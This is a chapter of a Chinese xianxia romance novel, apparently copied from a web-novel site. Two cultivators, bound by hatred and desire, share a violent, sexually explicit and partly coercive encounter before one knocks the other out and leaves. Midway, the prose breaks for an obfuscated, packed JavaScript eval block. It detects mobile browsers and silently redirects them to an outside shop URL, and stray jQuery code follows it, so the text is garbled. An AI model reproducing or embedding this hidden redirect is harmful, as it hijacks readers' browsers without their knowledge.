好你个楚回舟!
去死吧楚回舟!都去死!
楚回舟又来叼他的唇,冼清尘这回主动仰头,随即用力,狠狠咬住他贴过来的唇舌,直把他咬的血肉模糊,嘴里、鼻腔里,充斥了两人的血腥味,交融在一起,分不清谁是谁的。
可楚回舟竟吃痛也不离开,与他纠缠,彼此都看见了对方眼中的恨意,就像一场动物间的拼杀,舔血吞肉,至死方休。
他一边咬,手里也没有停住动作,固执得要命,也不知他是怎么在嘴上功夫里分出闲暇去的,待抚|弄了片刻,冼清尘全身紧绷颤抖,齿关骤然松开。
他于是长驱直入,舔去他口中的血,才意犹未尽地放开他,两人抵额,破碎的喘|息交汇。
“你去死……”冼清尘轻喃道,他已经有哽咽,说不出话来。
楚回舟深情又恨然的目光落在他渗血的唇上,还有因为刺激泛起的两颊春色,那双朦胧的眼睛。
他会想到会有这样一天吗,不加丝毫伪饰,赤条条袒露在他的面前……
楚回舟忍不住低头啄吻,不复方才粗鲁,柔软又亲昵,不知道自己在说什么:“没关系……”
他看向两人身上的狼藉,方才只给冼清尘做了文章,他自己依然还是老样子,十分难受。可冼清尘雾色的眼瞳不愿再看他,竟然含泪,不见欢愉只见惧怕。
他大仇得报般的快感瞬间从身体里抽离去,他有些茫然,有些不知所措。
最终,楚回舟食不知味地吻过冼清尘的下巴,起身离开了。
听见他去了隔壁,冼清尘手腕一抖,颓然放下了手里暗藏的无极扇。
还好,他以为楚回舟真的要做出那种事,他要是敢做,他就算手腕尽断,也要极力给他来一刀。
保证让他子孙根分家。
这一夜简直是不可承受,他既惊怒又震撼,也不知道之后该怎么面对楚回舟。
劫后余生般的庆幸让他背过身蜷缩起来,后知后觉觉得好冷。
外头月光照雪,楚回舟这个神经病发完疯连个毯子都不给他盖,只顾着自己去爽了。
隔壁动静楚回舟没有刻意掩饰,全部落在他耳朵里。冼清尘青着脸色,心想要是自己现在能直接晕过去倒好了,可他天生怕痛却能忍痛得很,手脚都断了也神志清醒。只是太疼了,疼的他冷汗涔涔。
外头寻人的声音还在,冼清尘集中心力,运气调息,灵力在脉中走了一圈,陡然睁开眼。
他的灵力不似刚才枯竭,好转的速度很不寻常。
方才与越河君打完,他逃出来后探过自己灵力,确定是如死水一般毫无波动了,可现在,那股灵泉幽幽生发,好像是有什么东西催动着它的涌现。
冼清尘最不愿意承认的答案出现在他的脑海里,可他难以接受,咬着牙低声诘骂了一句脏话。
院外忽有人敲门,高声喊:“楚师弟?楚师弟在吗?”
冼清尘立即打起十二分警戒,一个鲤鱼打挺,没挺起来……
他当机立断拱进楚回舟的被子,属于楚回舟的清冽香味霎时将他包裹,是雪的味道。
平心而论,是好闻的,但冼清尘现在充满了怨怼,腹诽楚回舟有了个寒翎剑连身上味道都变冷了,寒翎剑也是没用,光变个气味有什么用,刚才他烫的像烧红的烙铁头!
他隔着被子,听见楚回舟开了门,两人交谈到刺客。
“打扰师弟歇息,楚师弟可看见可疑的影子?方才有人闯了越掌门殿宇行刺……咦,师弟嘴怎么了?”
好好的问这个做什么?冼清尘紧绷着神经,听楚回舟平静道:“我没有看见,也未曾有过注意,需要我帮忙吗?”
啧,睁眼说瞎话,
冼清尘心下稍安,心里催促他赶紧离开。
可对面的小子显然是个呆板的,竟拒绝了楚回舟的主动提出:“不必了,主峰人手都够,楚师弟今夜留心就好。”
院门要关上,冼清尘翻了一个白眼,院外又传来一个声音。
没想到也是熟人,是尘云子的声音:“回舟,发生何事?”
楚回舟行了一礼:“回师尊的话,主峰在找刺客。”
“哎呀,你嘴上怎么回事?”
“被野猫抓的。”
尘云子欲言又止,拍了拍他的肩膀,“好好歇息吧。”
楚回舟回来了。
他已换了身衣裳,气定神闲地跨进室内,不见半点窝藏刺客的嫌疑。关上房门,才呼出一口浊气,可见刚才并非完全不惧。
楚回舟转头,一眼便看见榻上的被子小山,一缕黑发落在外面,不知是不是察觉到了他,很快缩了进去。
“……师父。”
楚回舟爬上榻,掀开被子。
入目凌乱无序,冼清尘吹了一口横在脸上的乱发,脸上的云蒸霞蔚还未散,声音却冷:“有师尊了还叫什么师父?装模作样。”
楚回舟心口一跳:“那师父想让我喊你什么?冼清尘,冼魔头?”
冼清尘板过脸,不答他。
两人一坐一躺,相对无言,冼清尘冷静过后觉得这件事荒唐到没边了,不能他是反派就有这种荒唐剧情吧,老天真是戏弄他。
“你既然知道我是冼清尘,干嘛不把我交出去?”冼清尘明知故问。
楚回舟觉得他这股子神态,这种无所谓的态度真是可恨,是看穿他舍不得,看穿他想要他,所以有恃无恐,恶人行径。
他发狠逼他转过来与自己对视:“冼清尘,你得由我来杀。”
冼清尘皱紧眉头,突然笑了一下:“我等着这一天。”
楚回舟抓得更紧:“为什么要杀我全族?”
“杀了就杀了,何必要一个解释?”
“我只要你一个解释!”楚回舟发着抖,声音沙哑,似在哀求。
冼清尘恶人做到底:“没有解释,我不高兴,我就是要杀,可惜让你逃了,否则也没有后来这么多麻烦。”
每一个字吐出来都像是修罗之言,楚回舟不堪忍受。
冼清尘也是嘴贱:“你在青云山庄不受优待,何必这么恨我?”
楚回舟一字一顿道:“主母与阿爹不常见我,可我记得阿娘,还有阿婆,她们都是我的至亲至爱的亲人,有他们在,青云山庄就是我的家。是你把我的家毁了。”
“可你现在过得不是很好?你跟着我时不也开心得很?”冼清尘道,“没有我,你上不了听云宗。”
楚回舟不敢置信他的恶毒:“冼清尘,你没有家吗?你没有亲人吗?你没有所爱之人吗?”
冼清尘胸口起伏了几下,那双没有感情的冷漠眼睛里什么也没有。
楚回舟看了一会儿,自嘲一笑:“怪我异想天开,你可是冼清尘啊……我换一个问题,你为什么要杀越河君?”
冼清尘的目光此时恢复了焦距:“因为他该死。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565492|139948||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“越河君为人清正,修仙论剑只为天下人,他不该死。冼清尘,你该死。”楚回舟道。
冼清尘只笑:“楚回舟,轮得到你评判我?你做出刚才的事,也不是个清正之人!”
楚回舟“噌”一下站起来,他再也受不了这种爱恨交织的痛苦,转身欲走,可冼清尘又喊住了他。
一双血淋淋的手将他拉回去,楚回舟惊诧地要开口,却立刻被掐住了脖子,大力掼到榻上,冼清尘恶鬼一般,压在他身上,扇子抵在他喉间:“别动。”
他用刚生出来的灵力冲破了楚回舟在衣带上设的禁锢,此时手腕绽开血,流在楚回舟的月白衣襟上,没有谁比谁干净。
扇刃划破了一线皮肤,楚回舟眸光从下至上,这实在是一个很有冲击力的画面。
冼清尘乌发尽数落在胸前,两颗茱萸若隐若现,坐在他身上,用双膝将他夹在身下。
他对冼清尘的这幅样子毫无抵抗能力,尽管那片鸦羽下的目光只有威胁,尽管抵在他喉间的锐利能在顷刻之间要了他的命,他还是觉得冼清尘此时美艳不可方物。
连刚才满腔的愤怒都陡然无影无踪,楚回舟下意识扶住了他的膝弯,潮湿又发烫。
冼清尘算是豁出这不值钱的脸面去了。
他宽慰自己反正是个反派,干什么不正常的事都正常。再说了,只准楚回舟那样做,就不准他这个反派这样做吗?
冼清尘一把摸索过去,他知道章法,可他偏要逆着章法来,欣赏楚回舟痛苦又沉沦的脸色。
他冷酷得要命,楚回舟想放纵吻他,结果只是被咬,刚凝固的血又从唇上被夺去。
冼清尘才不管他,他有的放矢,一面探看自己灵力,果然见不知不觉中灵力生长涌现,终于到了一个关口,他突然松手,挥扇在毫无防备的楚回舟昏穴上敲了一记,后者便一头栽倒。
冼清尘长舒了一口气,他感受着丹田里的灵力,看向楚回舟——
真是可笑,他竟然会有这样一天,用自己曾经最厌恶的手段对一个朝夕相处多年的人。
虽然心情复杂,他得承认自己并没有出现生理性的不适,相反身体有了让他恼怒的反应,可见真是一身贱骨贱皮,没救了。
他才意识到,原来自己是渴望这种被太满溢的感情包裹的。
这世上没有人会像楚回舟一样喜欢他,哪怕这份喜欢掺杂了恨,可感情浓烈且专注,让他感到自己真正活着。他的确没有把他交出去不是吗?
只不过终究不是一路人。
冼清尘随意扒了被子给他遮上。
他的衣服已经烂了,他熟悉楚回舟的生活方式,没多久就找到了他平时放衣裳的柜子,捡了件弟子服穿上。
可是出门前,他又觉得不妥,蹙眉思索再三,扯了案头放的纸墨,留上几个字。
“一报还一报,不死不相逢”。
前半句,自是让这小兔崽子不要对他的行为多想,产生不必要的误会,后半句,则是真正的诀别心境了。
楚回舟的话说得没错,他就是该死,可那又怎么样?
他是欠了楚回舟的,可越河君欠了他的,欠了阿姐的,正道仙门欠了冼家的,他就是要讨回来,否则自己苟延残喘到今日又有什么意义?
阿姐死了,阿辛死了,阿芜也死了……
他要替死去之人索命,就必定沾满血腥,不过好在,这样的日子快结束了。